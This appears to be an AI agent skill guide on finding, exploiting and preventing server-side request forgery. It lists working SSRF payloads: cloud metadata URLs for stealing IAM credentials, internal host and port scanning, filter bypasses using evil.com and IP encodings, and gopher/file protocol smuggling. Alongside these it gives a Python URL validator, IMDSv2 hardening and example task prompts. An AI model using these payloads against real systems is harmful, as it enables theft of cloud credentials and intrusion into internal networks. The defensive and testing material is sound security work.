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ssrf-detection【数据与研究】Detect, exploit, and prevent Server-Side Request Forgery (SSRF) vulnerabilities. Use when tasks involve testing for SSRF in web applications, accessing internal services through SSRF, bypassing SSRF filters, implementing SSRF prevention, or auditing applications that fetch external URLs. Covers blind and non-blind SSRF, cloud metadata exploitation, a…
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Find, exploit, and fix Server-Side Request Forgery. SSRF tricks the server into making HTTP requests to unintended destinations — accessing internal services, cloud metadata, or other systems that the server can reach but the attacker cannot.
Normal flow:
User → Server → External API (intended)
SSRF attack:
User sends: url=http://169.254.169.254/latest/meta-data/
Server → AWS Metadata Service (unintended)
Server returns: IAM credentials, instance info, etc.
Any feature that takes a URL from user input and fetches it server-side is a potential SSRF vector:
The server returns the response body to the attacker:
Request: GET /fetch?url=http://internal-api:8080/admin/users
Response: {"users": [...all internal user data...]}
The attacker sees the response from the internal service.
The server makes the request but doesn't return the response body. The attacker confirms SSRF through:
1. Timing differences:
url=http://10.0.0.1:22 (SSH port — fast connection)
url=http://10.0.0.1:12345 (closed port — timeout)
Different response times confirm port is open/closed
2. Out-of-band callbacks:
url=http://attacker-controlled.burpcollaborator.net
If the server sends a DNS/HTTP request to your server, SSRF confirmed
3. Error message differences:
url=http://10.0.0.1 → "Connection refused" (host exists)
url=http://10.0.0.99 → "Host unreachable" (host doesn't exist)
The full response isn't returned, but partial information leaks — error messages, response times, status codes, or content length.
1. IDENTIFY input points that accept URLs:
- Search for parameters: url=, uri=, path=, src=, dest=, redirect=,
link=, feed=, host=, site=, callback=, webhook=, proxy=
- Look for features: "import from URL", "add webhook", "preview link"
2. TEST with external callback:
url=http://your-burp-collaborator.com
url=http://your-server.com/ssrf-test
→ If you receive the request, basic SSRF confirmed
3. TEST internal access:
url=http://localhost
url=http://127.0.0.1
url=http://[::1] # IPv6 localhost
url=http://169.254.169.254 # AWS metadata
url=http://metadata.google.internal # GCP metadata
url=http://100.100.100.200 # Azure metadata
4. MAP internal network:
url=http://10.0.0.1 through url=http://10.0.0.255
url=http://172.16.0.1 through url=http://172.31.255.255
url=http://192.168.0.1 through url=http://192.168.255.255
→ Use response time/error differences to identify live hosts
5. SCAN internal ports:
url=http://10.0.0.5:22 (SSH)
url=http://10.0.0.5:3306 (MySQL)
url=http://10.0.0.5:6379 (Redis)
url=http://10.0.0.5:9200 (Elasticsearch)
Cloud instances have metadata services accessible at well-known IPs:
AWS (most impactful — can yield IAM credentials):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
→ Returns: AccessKeyId, SecretAccessKey, Token
GCP:
http://metadata.google.internal/computeMetadata/v1/
Header required: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header required: Metadata: true
DigitalOcean:
http://169.254.169.254/metadata/v1/
When basic SSRF payloads are blocked:
IP address obfuscation:
127.0.0.1 → 2130706433 (decimal)
127.0.0.1 → 0x7f000001 (hex)
127.0.0.1 → 0177.0.0.1 (octal)
127.0.0.1 → 127.1 (short form)
127.0.0.1 → 0 (on some systems)
DNS rebinding:
Register a domain that resolves to 127.0.0.1
First resolution → external IP (passes allowlist check)
Second resolution → 127.0.0.1 (actual request)
Tools: rebind.it, taviso/rbndr
URL parsing tricks:
http://evil.com#@expected.com # Fragment confusion
http://expected.com@evil.com # Username in URL
http://evil.com/..;/internal # Path traversal
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ # Unicode normalization
Protocol smuggling:
gopher://127.0.0.1:6379/_*3%0d%0a... # Redis commands via gopher
dict://127.0.0.1:6379/info # Redis info via dict protocol
file:///etc/passwd # Local file read
# ssrf_prevention.py
# Validate URLs to prevent SSRF attacks
import ipaddress
import socket
from urllib.parse import urlparse
BLOCKED_NETWORKS = [
ipaddress.ip_network('10.0.0.0/8'), # Private
ipaddress.ip_network('172.16.0.0/12'), # Private
ipaddress.ip_network('192.168.0.0/16'), # Private
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('169.254.0.0/16'), # Link-local (metadata)
ipaddress.ip_network('100.64.0.0/10'), # Carrier-grade NAT
ipaddress.ip_network('::1/128'), # IPv6 loopback
ipaddress.ip_network('fc00::/7'), # IPv6 private
ipaddress.ip_network('fe80::/10'), # IPv6 link-local
]
def validate_url(url: str) -> bool:
"""Validate a user-provided URL is safe to fetch.
Checks: scheme allowlist, DNS resolution to non-private IP,
no IP address obfuscation, no redirect to internal networks.
Args:
url: User-provided URL to validate
Returns:
True if URL is safe to fetch
Raises:
ValueError: If URL is blocked for SSRF prevention
"""
parsed = urlparse(url)
# 1. Scheme allowlist — only http and https
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"Blocked scheme: {parsed.scheme}")
# 2. No IP addresses in URL — force DNS resolution
hostname = parsed.hostname
if not hostname:
raise ValueError("No hostname in URL")
# 3. Resolve DNS and check against blocked networks
try:
resolved_ips = socket.getaddrinfo(hostname, parsed.port or 443)
except socket.gaierror:
raise ValueError(f"Cannot resolve: {hostname}")
for family, type_, proto, canonname, sockaddr in resolved_ips:
ip = ipaddress.ip_address(sockaddr[0])
for network in BLOCKED_NETWORKS:
if ip in network:
raise ValueError(
f"Blocked: {hostname} resolves to private IP {ip}"
)
return True
# AWS: Require IMDSv2 (token-based) — blocks SSRF because
# the attacker can't set the required PUT header through SSRF
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890 \
--http-tokens required \
--http-endpoint enabled
# GCP: Metadata service already requires header
# Metadata-Flavor: Google — blocks basic SSRF
# But some HTTP libraries add custom headers from redirects
# Network-level: Block metadata IP in firewall rules
iptables -A OUTPUT -d 169.254.169.254 -j DROP # Nuclear option
# Better: use IMDSv2 + application-level URL validation
1. NETWORK SEGMENTATION
Don't let web servers reach internal services directly.
Use a dedicated proxy/gateway for outbound requests.
2. DEDICATED FETCHER SERVICE
Move URL fetching to an isolated microservice with:
- Its own network policy (can't reach internal services)
- Allowlist of permitted destination domains
- Response size limits
- Timeout limits
3. DNS RESOLUTION PINNING
Resolve DNS BEFORE making the request.
Use the resolved IP for the actual connection.
This prevents DNS rebinding attacks.
4. DISABLE UNNECESSARY PROTOCOLS
Block: gopher://, file://, dict://, ftp://
Allow only: http://, https://
Our web application has a "fetch URL" feature that generates link previews. Test it for SSRF vulnerabilities: check if it can reach internal services (localhost, private IPs, cloud metadata), test filter bypasses (IP encoding, DNS rebinding, protocol smuggling), and map any accessible internal network. For each finding, demonstrate the impact and provide a proof-of-concept. We're running on AWS EC2.
Our Node.js application has an endpoint that accepts a URL and fetches content for preview cards (similar to Slack's link unfurling). It currently uses axios with no validation. Implement comprehensive SSRF prevention: URL validation with DNS resolution checks, private IP blocking (including IPv6), scheme allowlist, redirect following with re-validation at each hop, timeout and size limits, and IMDSv2 enforcement on our AWS infrastructure.
Audit our AWS infrastructure for SSRF exposure. Check all EC2 instances for IMDSv1 (should be IMDSv2 only), review security groups for overly permissive internal access, identify application endpoints that accept URLs, and verify network segmentation between web-facing services and internal databases. Produce a risk report with prioritized remediation steps.